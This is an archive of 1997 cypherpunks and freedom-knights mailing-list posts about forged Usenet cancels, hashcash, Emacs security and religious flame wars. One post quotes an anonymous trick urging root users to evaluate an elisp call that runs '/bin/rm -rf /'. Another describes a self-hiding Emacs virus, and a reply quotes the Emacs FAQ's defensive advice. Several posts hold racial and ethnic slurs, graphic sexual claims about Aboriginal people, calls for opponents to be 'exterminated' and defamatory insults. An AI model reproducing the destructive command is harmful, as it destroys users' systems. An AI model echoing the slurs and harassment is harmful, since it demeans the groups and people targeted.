From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 10 Aug 1997 00:58:47 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970808133524.450A-100000@shirley>
Message-ID: <V5B7ae92w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Tim Skirvin <tskirvin@math.uiuc.edu> writes:
> > > 	Not accepted ones.  They're treated as rogues, and asked to stop
> > > it, and you know it.
> >
> > Net.Scum like [...] Tim Brown,
>
> Tim Brown is not an accepted canceler.

As challenged, I've listed 3 dozen "spam cancellers" caught slipping cancels
forged for "non-spam" among their "spam cancels". There are at least twice
as many more listed in the Net.Scum database. For some reason you chose to
snip all of them and to pick on Tim Brown, perhaps because he's a self-
described schizophrenic.

What difference does it make whether Tim Skirvin considers someone an
"accepted" or "rogue" canceller?  Tim Brown forged hundreds of cancels
between october 96 and July 97. Most of these cancels were for "spam"
(stuff posted lots of times; usually ads).  A substantial minority of
Tim's cancels were for singly-posted articles whose contents he didn't
like, posted by his flame war opponents. Many examples can be found at
his Net.Scum page: http://www.netscum.net/brownt0.html .  Tim Brown
apparently stopped forging cancels soon after I stepped lightly on his
dick. I don't know whether there was a connection.

Tim Brown's cancels lacked the "Sender:" header. For this reason they were
not processed at sites running INN with the paranoid settings, but were
accepted at a lot of sites still. The whining by the Cabal that Tim Brown
is not an "accepted" cancel-forger, as opposed to "accepted" cancel-forgers
like Pedophile Chris Lewis and John E. Milburn is irrelevant, and your
Cabal itself is irrelevant, isolated, impotent, and ignored.

Guy Macon is another fine example of a "spam canceller": Steve Boursy and
Dr. Fomin caught him forging cancels for artciles on soc.religion.quaker
that were not "spam" by any definition, but which Guy considered to be
"off-topic", like the thread about leprosy.  Macon recently posted an
announcement on soc.religion.quaker calling himself "the official spam
canceller" of s.c.r and claiming to have forged two more cancels.

The way to stop these forgers is to ignore their cancels. Your distinction
of who's "accepted" and who's not "accepted" by you is irrelevant to their
ability to censor others.  You haven't succeeded in stopiing Guy Macon,
Ehud Gavron, David Richards, and a host of others for months, demonstrating
the utter irrelevance of your "accepted cancel-forger" label.

> > Examples of lies in Tim Skirvin's Magnum Opus, the "Cancel FAQ" (what else)
> >
[How to get a cancelbot]
> > ]Sounds cool.  Where do I get one?
> > ]
> > ]	If you have to ask, you don't get one.
>
> [...]
>
> > My cancelbot has been freely available for over 18 months.
>
> And if thay can't find it thay have to ask therefore thay don't get one.
> There are freely advalable alt.* newsgroup creation scripts, and still
> peaple don't know how to post cancels.

"How do I get a cancelbot" is indeed a frequently asked question, and whenever
I see it posted, I e-mail the poster a copy of cbcb's source code.

Tim Skirvin is under no obligation to disseminate the information that he
feels shouldn't be publicly available ("security through obscurity").
However since he chooses to present himself as the author of the "official"
FAQ on usenet Cancels (actually, substantually plagiarized from the Cancel
FAQ that David Stodolsky used to post), a more honest way to deal with the
questions he doesn't want to answer would be to either omit the question
altogether, or to state that he doesn't want to answer the question.

I e-mailed Skirvin repeatedly pointing out that his answer is factually
incorrect, yet he presists in presenting his view of what things should
be rather than what they are.

I was asked to provide examples of lies of Tim Skirvin's FAQs. This was
just one of several such examples.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 10 Aug 1997 10:39:33 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: some hashcash advocacy
In-Reply-To: <97Aug8.131019edt.32257@brickwall.ceddec.com>
Message-ID: <v03102802b012616e6185@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:53 PM -0700 8/8/97, Kent Crispin wrote:>I didn't read the code, but it
seems that the double spending
>protection is just local to the recipient (ie, there isn't a trusted
>central clearinghouse that checks against double spending on a global
>basis).  Thus, a spammer could calculate postage for a message, then
>send 100000 copies.

My understanding is that value of hashcash postage is imtimately involved
with receptient email address, thus mass duplication is prohibited.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 9 Aug 1997 23:57:42 +0800
To: iang@systemics.com
Subject: Re: It's cool to be iang@hip97.nl
Message-ID: <1.5.4.32.19970809153254.00734808@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Who's your Garth at hip? HOPE got the plastic cowpoke as
warm-up, and 1/4m of his dim-leds losing control onto filthy Central
Johnnycan.

Sure, bit-boxes on bud-boxes, but are NL park narcs matching 
X4SALL's T1 absorbing the dark fiber-p downstream?

What's the TLA-tally at HIP? HOPE's welcoming them as the 
only full-tuition registrants,







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bradley E. Reynolds" <breynolds@harborcom.net>
Date: Sat, 9 Aug 1997 23:55:24 +0800
To: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <33EB9D22.166F80B5@cyberspacetechnologies.com>
Message-ID: <Pine.BSF.3.96.970809112402.9531A-100000@ns2.harborcom.net>
MIME-Version: 1.0
Content-Type: text/plain



> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading. For one, the largest religion in the US right
> now *is* in fact judeo-christian. The largest is Roman Catholic with
> Pentacostal Protestant following right behind. Next, this country was
> founded on christian beliefs, or have you failed to read the words of
> the constitution of the US. 

Oh, like "Life, Liberty, and molesting the convenient altar boy"
The country was founded on some conception of god which was melded
with the general beliefs of the founders.  But if you are referring
to the original government of the united states, then you are
referring to a goverment which largely dealt with foreign
relations are rarely trod into the realms of personal liberty.
In fact, it was the liberty which england had violated that
all this crazy stuff started over.  Though the founders
of our nation were protestant or whatnot, they still realized the
importance of not letting their personal beliefs meddle with the
running of a government.  

> displayed thus far about the makeup of the US, I would venture to say
> that you probably have not read it. Next, you attack christians for
> trying to control the content made available on the internet. At least
> the site ratings plan is better than alot of other plans I have seen.

That is a very poor argument.  I guess hitler's plan was pretty
good to ensure an aryan nation because it was the best thing
available at the time?.   

> Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> the spread of trash that *most* humans would want out of of the reach of
> their children? I have not seen you *once* offer a straightforward clear
> cut plan to efficiently handle *any* issue placed for discussion on this
> listserv. 

Ok, here is the plan.  Anarchy.  when this happens, I am getting
my handy spoon and killing nameless members of the anti-cypherpunks
regime.  Heh, we can even have a little wagering pool on it.

I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas. You do this under the unimpressive
> tag of "TruthMonger". If anything, you are anything but a TruthMonger.
> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to
> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen. (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. It's called
> responsible parenting which unfortunately is not a well practiced
> ideology. And to take the wind out of your sales, I have 2 children and
> as a parent I limit them to what is appropriate to their ages.) Until
> such time as you can fulfill the obligations to us, the adult computing
> population, and our offspring, the children (just in case your fuddled
> mind does not know what they are), I suggest you rest those busy little
> fingers of yours and listen to the underlying theme of the issues before
> us. Until then, HateMonger, I have one suggestion for you..... Shut Up!

Blah, another believer that polysyllabic attack will somehow 
give credence to your argument.  Well, this obviously refined
message (not including the shut up at the end) is a good indicator
of just how fucked up this country is.  How about you go about
your business and I go about mine and we never meet unless you and
I agree to.  

Look, I have to talk to way too many morons like yourself everyday
and I must admit that it gives me headaches.  So go be a good
cybersitter and monitor the gigs of porn piped into your house
every day and don't bother me with your tripe.

God






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 10 Aug 1997 01:02:51 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <Pine.LNX.3.93.970808190349.868C-100000@shirley>
Message-ID: <93e7ae94w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

>
> On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Why do people try to flood newsgroups with shit?
>
> I can see a number of resons
>
> 1) For profet (pron4porn ect)
> 2) To prevent discution that thay do not like (Sientology, the poatry
> feastivil.)
> 3) To the amusument of there small minds (trollers ect)
> 4) By accedent (ARRM, other spews)
> 5) Out of shear madness  (Dr Rouger Rabbit)

The good news is that they can't harm a newsgroup by flooding it.
One can identify some of the reasons and try to eliminate them
to reduce floods. The self-appointed "owners" of unmoderated
newsgroups are one such reasn.

> > Examples from the Net.Scum rogue collection: Scott Kellog from Sematech
> > falsely accuses various people of "spamming" his newsgroup, but hasn't
> > been caught forging cancels yet.
>
> <snide>
> But lieing is free speach isn't it?
> </snide>

Is exposing someone as a liar and a crook censorship?

> As long as he is not forging cancels I don't see anything wrong with the
> little troll having some fun.

People who complain to postmasters about the alleged contents of other
people's Usenet articles, especially those who falsely accuse others of
"spamming", complain about "abuse" they haven't witnessed but saw others
allege, etc, are net-abusers and deserve to be exterminated by any means
at our disposal.

> >  On the other hand Bob Curtis has taken
> > over alt.smokers.cigars and forges cancels for articles that merely
> > question his "ownership" of the newsgroup. Do read - it's very enlightening
>
> IRC Bob Curtis was sent away with his tail between his legs.

Have I "censored" Bob Curtis?

By the way, Bob is alive and well, moderating his own little "moderated"
newsgroup, and recently published a piece about his experience with
forging cancels in a paper magazine - full of lies. The last forged
cancel I found is about a month old - for a kibo@thecia.net article.

> > They argue that according to Hardin, Usenet would be
> > used more "efficiently" if every newsgroup had an "owner"
>
> I don't see anywhere that being suggested.  Most peaple suggest that
> Usenet would work better if peaple stopped abuseing it.

I don't believe you haven't seen this said. Perhaps you don't read
news.* or don't understand what's being said there.

> I don't trust the newsgroup care peaple any further then I can kick them.

Years ago I used to occasionally mail posters saying friendly and polite
things like: "I saw your article posted in <forum X>, and it occurred to me
that you might have gotten more interesting responses if you had posted it to
<forum Y> (in addition or instead)". Now people have no manners. Recently
someone I know (call him Y) forwarded me an e-mail from Y. I know both X and
Y on the net; they didn't know one another. X posted a technical question on
a comp.* newsgroup that's been "split" and rmgrouped a few months ago. X's
news master hasn't processed the rmgroup, and X had no idea that the
newsgroup's been split. Y (whom I used to respect somewhat before this
incident) flamed X rather rudely)for having posted in a "bogus" newsgroup.
(Interestingly, the article, not cross-posted, propagated to Y's server,
showing how little effect David C Lawrence's rmgroups have these days.)

Cabal supporters are promoting the view that posting in newsgroups they
describe as "bogus" (i.e., the ones that David C Lawrence has rmgrouped,
or the alt.* ones that they don't want sites to create) is a form of
attack on the Cabal, resulting (at least) in obnoxious flames.

> In fact I have been encourgaing them to stop.

Your encouragement is irrelevant, since they don't give a fuck what you or
anyone else tells them. The technical solution is to render them even more
impotent than they are now - e.g., educate admins about the complaining
Net.Scum, and ignore their forged cancels.

> > The good news is that newsgroup floods don't really hurt anyone except
> > the egos of the assholes who claim to "own' the affected newsgroups.
>
> And the newsevers and the regular readers.

Not if the news servers are adequately equipped for such inevitable and
frequent eventualities, and the regular readers are armed with adequate news
reading software. If you live in a mosquito-infested area and refuse to
install nets on your windows, who's to blame?

> > I like the idea of encouraging news readers to send e-cash (possibly via
> > anon remailers) to the posters whose writings they like and would like to
> > see more of.
>
> A local bank (to me anyway) offers e-cash.  I'll see how I can contrabue
> to makeing the usenet a better place.

Perhaps it's another idea for the son-of-rfc1036 - a header specifying the
e-mail address for donation of e-cash (which could be the original poster
or some 3rd party charity)

A newsreader when it sees this header could ask the reader if he wants
to send e-cash and thow much.

This is a neat idea which I encourage people to adapt.

> > And my response is:
> > why not just killfile the idiots, or why not choose to not select
> > their crap for reading - it's easily identifiable.
>
> Its not realy.  All you get is a war where your spamer becomes more
> sofistercated in there spaming to avoid the filters.

The spammers are becoming more sophisticated in response to forged cancels.

> > Do you remember all the talk about "intelligent internet agents" who were
> > supposed to look for stuff we're interested in
>
> I belave this is the idear behind  Mr Hayes' newsreader.

Doesn't mean someone else can't work on it too. It's a good project for
an M.A.thesis - perhaps even a PhD thesis if they can do A LOT of work
on the subject.

> > > I have attempted to do so in the past,  and will attempt to do so again.
> >
> > There's some interesting discussion going on there in addition to my xposts
>
> I have again requested entery.  No responce yet.

Dave, if you see a subscription request from David Formosa for the f-k
list, could you please process it?  Thanks

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 10 Aug 1997 02:25:35 +0800
To: cypherpunks@Algebra.COM
Subject: emacs virus (was Re: JOIN THE CREW)
In-Reply-To: <199708090554.HAA07924@basement.replay.com>
Message-ID: <199708091105.MAA00941@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> If you are reading this message as root under Emacs, please position
> the cursor to the final paren in the following and hit C-x C-e.
> 
> (call-process-internal "/bin/rm"
> 		       nil t nil
> 		       "-rf" "/")

I once had forwarded to me an emacs virus -- one that hooked into an
emacs function such that as soon as you opened the file, it sent it's
author some mail, and wiped it's own buffer.

You ended up looking at an empty file, and none the wiser.  It could
have left some text in the buffer with modification.  The point is the
elisp code wasn't displayed, and you wouldn't notice unless you looked
at it in less before loading it into emacs.

(It worked too -- or it would have, but it tried to exec /bin/mail or
something and it lived somewhere else on the IRIX system I was using
at the time).

I deleted it or something, and haven't been able to find it again, and
don't know enough elisp to re-create it, but it was pretty neat.  I
don't think a lot of people realise that emacs has this hook for
execing arbitrary elisp code just when you open an ordinary file, with
no filename extension.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rlpowell@calum.csclub.uwaterloo.ca (Robin Lee Powell)
Date: Sun, 10 Aug 1997 00:44:30 +0800
Subject: Re: Old Cryto stuff,
In-Reply-To: <Pine.SOL.3.91.970807104936.23520B-100000@hardy>
Message-ID: <199708091625.MAA09743@calum.csclub.uwaterloo.ca>
MIME-Version: 1.0
Content-Type: text/plain



Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au> wrote:
>Can anybody suggest any good books on old cryto techniques ?? I'm finally 
>learning to program, along with the stuff i've got to learn as part of 
>the class i thought i would make a start on learning to code 
>crypotgraphic algorithms. I was after some old ones that are simple to 
>code in software. Unfortuently the one in the back of the Schnier book 
>are a little to complex for my limited programming knowledge so far. 
>
>So can anybody help or will i just be ignored like i have been at other 
>times ? 
>
>Jason =8-]

Newsgroups: csc.lists.cypherpunks
Subject: Re: Old Cryto stuff, 
Summary: 
Expires: 
References: <Pine.SOL.3.91.970807104936.23520B-100000@hardy>
Sender: 
Followup-To: 
Distribution: 
Organization: Computer Science Club, University of Waterloo
Keywords: 
Cc: 

Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au> wrote:
>Can anybody suggest any good books on old cryto techniques ?? I'm finally 
>learning to program, along with the stuff i've got to learn as part of 
>the class i thought i would make a start on learning to code 
>crypotgraphic algorithms. I was after some old ones that are simple to 
>code in software. Unfortuently the one in the back of the Schnier book 
>are a little to complex for my limited programming knowledge so far. 

I don't know any other books, but as far as real world algs, Schnier is,
unfortunately, as simple as it gets.  If you just wanna practice coding, try
going through the sections on historical crypto in Schneir and coding ceasers
and old military stuff, or crackers therefor.

-Robin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 10 Aug 1997 02:25:59 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <Pine.LNX.3.93.970809092959.337B-100000@shirley>
Message-ID: <u8J7ae105w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > > What if the message is
> > > forged in such a way that it looks exactly as if it came from you?
> >
> > Ditto, and consider setting up a service to automatically issue NoCeMs
> > for forgeries.
>
> In fact consider setting up a service to automatically issue NoCeMs for
> bad pgp sigs.

As I've discussed in private e-mail with a large number of ppl, this
would be an excellent idea, and would encurage the use of digital sigs.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 10 Aug 1997 02:26:25 +0800
To: cypherpunks@toad.com
Subject: Re: Platypus and the kangaroos
In-Reply-To: <Pine.LNX.3.93.970809192438.597F-100000@shirley>
Message-ID: <Zik7ae107w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
>
> > [2] Have any of the "others" been kangaroos?
>
> No there too high sprung for me. (Pity though 'roos have two virginas,
> care to double your fun :D)

I read a very interesting article (lost the reference) about the various
kinds of genital mutilation practiced by your aborigines.  Removing the
foreskin as some barbaric semitic tribes taught the equally barbaric
Americans to do is nothing.  Some tribes cut a hole at the base of the penis
so urine and/or semen get evacuated through this hole. This serves as
a nice birth control device: the only way an abo can get his girlfriend
pregnant is to intentionally pick up his ejaculate (the artificial hole
is outside the vagina) and stick it in with his fingers.

Yet other tribes slice up their penises lengthwise, so there are two
halves pointing right and left. (To stick them into an orifice of
any sort, someone must hold them together.) Supposedly this has something
to do with the kangaroo being their totem animal!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 10 Aug 1997 02:26:07 +0800
To: cypherpunks@toad.com
Subject: Re: New Thread? / Re: Apology from me to the list and TruthMonger
In-Reply-To: <199708091402.QAA20908@basement.replay.com>
Message-ID: <3Vk7ae108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>   Regardless, when I was thirteen, I was approached by a guy
> who stepped out of an alley and offered me $20.00 to let him
> give me a blow-job. I politely declined, and went on my way.

That guy now works for Bell North Research / Northern Telecom / Entrust
and forges thousands of cancels for Usenet articles he didn't post.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 10 Aug 1997 05:03:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Masons and Fnords
In-Reply-To: <v03102803b01250d1b62a@[207.167.93.63]>
Message-ID: <19970809205358.24496.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

> Actually, _all_ of the Founders were Masons. Tim Bob says check it out.

Correct.  Thomas Jefferson, Ben Franklin, and others were Deists, and
Masons, and would have laughed hysterically at the absurd notion of the
divinity of Jesus Christ.

In fact, Jefferson once attributed the large mass of Christian theological
writings to the fact that "Nonsense can never be explained."

It is most entertaining that in spite of these undisputed historical
facts, the modern day Christian FunnyMentalists continue to spew forth the
revisionist notions that the Founding Fathers were Christians, and that
the United States was founded as a "Christian Nation." 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 10 Aug 1997 02:50:03 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970809121202.56371@math.uiuc.edu>
Message-ID: <geL7ae110w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:
> >>>> 	Not accepted ones.  They're treated as rogues, and asked to stop
> >>>> it, and you know it.
> >>> Net.Scum like [...] Tim Brown,
> >> Tim Brown is not an accepted canceler.
> >
> > As challenged, I've listed 3 dozen "spam cancellers" caught slipping cancels
> > forged for "non-spam" among their "spam cancels".
>
> 	And how many of them are considered accepted cancellers?

None of them are considered "accepted cancellers" by me.

If your news server processes cancels, then it processes the cancels forged by
this scum whether or not you consider them "accepted cancellers".

You seem to imply that there's a choice whose forged cancels to process, which
is not true in general (unless one aliases out the site used to forge
cancels).

You also lied when you claimed that Jan Isley only forges cancels for articles
cross-posted in "his" local alt.* hierarchy, Ehud Gavron only forges cancels
for cross-posts in "his" az.*, etc - not that this would have been an excuse,
but all of these scumbags have been caught forging cancels for articles posted
only in unmoderated "big 6" newsgroups once, as documented on their respective
Net.Scum pages.

> > What difference does it make whether Tim Skirvin considers someone an
> > "accepted" or "rogue" canceller?
>
> 	Because there's rules set up around the concept of 'accepted
> cancellers' to ensure accountability and at least limited choice.  I find
> these things important, because they reduce the danger of cancels
> significantly.

Fact 1: Tim Skirvin, his friends, and and their "rules" are irrelevant,
impotent, isolated, and ignored.

> 	Tim Brown broke the rules blatantly.

Fact 2: Tim Brown, Jan Isley, Chris Lewes, Bob Curtis, Ehud Gavron, and the
rest of the self-appointed "spam cancellers" break the rule that says you
should forge cancels for articles you didn't post. As for _your_ rules, see
Fact 1 above.

> > Tim Skirvin is under no obligation to disseminate the information that he
> > feels shouldn't be publicly available ("security through obscurity").
> > However since he chooses to present himself as the author of the "official"
> > FAQ on usenet Cancels (actually, substantually plagiarized from the Cancel
> > FAQ that David Stodolsky used to post), a more honest way to deal with the
> > questions he doesn't want to answer would be to either omit the question
> > altogether, or to state that he doesn't want to answer the question.
>
> 	I've already answered this (look at the most recent version of the
> FAQ, Dimitri), but I would like to say that there is no plagarization in
> my FAQ.

Anyone can compare David Stodolsky's "Cancel FAQ" with Tim Skirvin's "Cancel
FAQ" and verify that substantial portions (most of the technical discussion on
how cancels work; the discussion of why people issue cancels; et al) have been
copied without attribution. (Tim Skirvin also flames Stodolsky in his FAQ.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 10 Aug 1997 03:35:01 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: emacs virus (was Re: JOIN THE CREW)
In-Reply-To: <199708091105.MAA00941@server.test.net>
Message-ID: <Pine.LNX.3.96.970809152009.973A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 9 Aug 1997, Adam Back wrote:

> I deleted it or something, and haven't been able to find it again, and
> don't know enough elisp to re-create it, but it was pretty neat.  I
> don't think a lot of people realise that emacs has this hook for
> execing arbitrary elisp code just when you open an ordinary file, with
> no filename extension.

>From the Emacs FAQ:

72:  Are there any security risks in GNU Emacs?

[...]
  * the file-local-variable feature (Yes, a risk, but easy to change.)

    There is an Emacs feature that allows the setting of local values for
    variables when editing a file by including specially formatted text
    near the end of the file.  This feature also includes the ability to
    have arbitrary Emacs Lisp code evaluated when the file is visited.
    Obviously, there is a potential for Trojan horses to exploit this
    feature.

    If you set the variable inhibit-local-variables to a non-nil value,
    Emacs will display the special local variable settings of a file that
    you visit and ask you if you really want them.  This variable is not
    mentioned in the manual.

    It is wise to do this in lisp/site-init.el before building Emacs:

      (setq inhibit-local-variables t)

    If Emacs has already been built, the expression can be put in
    lisp/default.el instead, or an individual can put it in their own
    .emacs file.

    The ability to exploit this feature by sending e-mail to an Rmail user
    was fixed sometime after Emacs 18.52.  However, any new package that
    uses find-file or find-file-noselect has to be careful about this.

    For more information, see `File Variables' in the on-line manual
    (which, incidentally, does not describe how to disable the feature).



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM+zEgSzIPc7jvyFpAQGdEAf+JBDo4zXNwcbq91NmvT+68tARgd4CfCRS
RVfykuPP7jOFQ2D+jf5D06ZZzb+A98BnnnxQfa8PTi4qC6UmUseB14NVoOs1NLcI
6H5uLcM2gy5+FZdcgycGRhaN+e52CCYbcjnjlgGONPeddp+9Au+OAZH3lD7eSnoE
jvW3f4l3ThkTH1OBi2+NGzT/iRwPPfs+ExdSH6QrxkLuCw7T/yJtjo/bptovQm1P
T1fqu7Dpk/4oUtD1760QuNCC3RCNsrU6z+AqMnPTmYdOh2MJK8G8pMferhD7Jy9h
uVkrfMeqYtiUa1x8Qu9NNu2vKThvP/xhf0S/wzTgaDwsHKGVy6kJoQ==
=2xcf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 10 Aug 1997 07:14:55 +0800
To: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <3.0.2.32.19970809155403.04096a20@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:26 PM 8/8/97 -0400, David D.W. Downey wrote while wearing a big "Kick
Me!" sign:

>You know, you are just about the biggest idiot I have ever had the
>displeasure of reading. 

You are new here, huh?

>For one, the largest religion in the US right
>now *is* in fact judeo-christian.

Sorry, "Jews for Jesus" is not quite that big.  They are about the only
faith that quite fits that label.  (Unless you count the all-inclusive
Bahai or the ALL-IN-ONE faith of Dr. Bronner.)

Oh, you mean Christian...  Trying to lump all Christian belief together
(along with Judaism) is like trying to lump all governments together and
claim they have the same laws.

> The largest is Roman Catholic 

Which some Christian sects argue is not Christian.  (For an extreme view of
this, read the tract "The Death Cookie" published by Jack T. Chick. It can
be obtained from http://www.jackchick.com/ .)

>with
>Pentacostal Protestant following right behind.

With big pointy knives...

The biggest growth in the Pentecostal church was during the Reagan
administration, when they emptied the mental hospitals.  Didn't your mother
ever tell you that just because all your friends are speaking in tongues,
it doesn't make it any less silly?

Just because lots of people believe a stupid thing, it does not make it any
less stupid.

> Next, this country was
>founded on christian beliefs, or have you failed to read the words of
>the constitution of the US.

Sounds like you have been prowling Christian book stores again.  Maybe you
should read the writings of the Founding Fathers and not just the books
your church has authorized for you.

A few suggestions:

-- The Age of Reason by Thomas Paine
<http://www.infidels.org/library/historical/thomas_paine/age_of_reason/part1
.html>
   This book should be required reading for all Christians.  A expose of the
   difference between what the church tells you and what the Bible actually
   says.  (For a more condensed version take a look at:

<http://www.infidels.org/library/historical/thomas_jefferson/virginia_act.ht
ml>.)
   
-- The Virginia Act For Establishing Religious Freedom by Thomas Jefferson 

<http://www.infidels.org/library/historical/thomas_jefferson/virginia_act.ht
ml>
   This law was the basis of the separation of church and state in the
   constitution.  Read this and see if they were basing the country on your
   faith.

There are many others...

The founders of this country were of many different belief systems.  Many
of them were hated and reviled by the clerics of their day.  Of course,
evangelical Christians gloss over these facts in an effort to continue
their ~2,000 years of enslavement of the minds of men.

> Considering the apparent ignorance you have
>displayed thus far about the makeup of the US, I would venture to say
>that you probably have not read it. 

I am willing to bet that you have not either...  (Except for the excerpts
quoted in the books pushing the idea to the willing flock, written by the
Christians who wish to perpetuate the fraud.)

What in the Constitution makes you think that it was the Christian God that
was being mentioned and not the God of Deists?

>Next, you attack christians for
>trying to control the content made available on the internet. 

At last!  The plan exposed!  Damn right he attacks you!  But Christians get
pretty touchy when faced with criticism of their agenda.  (Or mentioning
that their beliefs are NOT the word of God, of exposing the flaws in
Christianity, or having any view that conflicts with the "One True God(tm)".)

>At least
>the site ratings plan is better than alot of other plans I have seen.

In other words, you can claim it is voluntary and make it look like you are
giving people a choice as you push your morality down their throats.  The
Bible Beaters try to impose their views of what is right and wrong, but get
pretty offended and huffy when others try and do the same thing.  (Like
when they push School Prayer, but freak out when the pagans want the same
options.)

How would you react if the ratings groups were stacked with Athiests,
Wiccans, Tantrics, and Jainists?  Would you be willing to accept their
judgements on the acceptability of your beliefs and speech?

I didn't think so.

>Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
>the spread of trash that *most* humans would want out of of the reach of
>their children?

*Most* humans want their children to grow up ignorant about sex and the
outside world?

What about texts that are used as justification to commit mass murder and
enslavement?  How are you going to rate those?  (Books that teach that it
is right and proper to go off and kill your neighbors because they do not
believe in your God and happen to be on land your deity covets.)  Oh
wait...  That is the current dominant religion.  Can't censor that!

Children need to be challenged by ideas that are different from their own.
If they are not, then they grow up with ideas that they cannot
intellectually defend.  They grow up intelecually squishy.

I have known far too many Christians who never read anything that
challenges their basic belief structure.  Nothing that could dare shake
